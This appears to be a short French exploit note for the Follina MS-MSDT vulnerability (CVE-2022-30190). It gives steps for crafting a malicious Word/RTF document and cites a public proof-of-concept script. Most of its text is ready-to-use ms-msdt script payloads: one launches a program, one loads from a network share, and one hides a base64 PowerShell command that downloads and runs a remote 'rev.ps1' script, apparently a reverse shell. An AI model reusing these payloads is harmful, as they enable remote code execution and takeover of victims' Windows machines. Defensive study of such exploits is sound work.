
CVE-2022-30190 | MS-MSDT Follina One Click
CVE-2022-30190 | MS-MSDT Follina en un clic
Une fois qu'un docx a été enregistré en utilisant les paramètres de l'étape / paramètres ci-dessous. Enregistrez le Docx en RTF.
Si vous ajoutez également ces éléments sous l'élément
<o:OLEObject>dansword/document.xml:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
L'action de recompression peut également être observée dans le script Python de JohnHammond :
~ Reconstruire le fichier Office original ~
shutil.make_archive(args.output, "zip", doc_path)
os.rename(args.output + ".zip", args.output)
Référence : https://github.com/JohnHammond/msdt-follina/blob/main/follina.py
<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Start-Process('calc'))i/../../../../../../../../../../../../../../Windows/system32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>
Peut remplacer Start-Process('calc') par :
IEX('calc.exe')
<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=/../../$(\\\\taretip\\share\\poc)/.exe)"";</script>
<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'cG93ZXJzaGVsbC5leGUgLWMgImlleCAoaXdyIGh0dHA6Ly8xOTIuMTY4LjE5OC4xMjgvcmV2LnBzMSAtVXNlQmFzaWNQYXJzaW5nKSIK'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
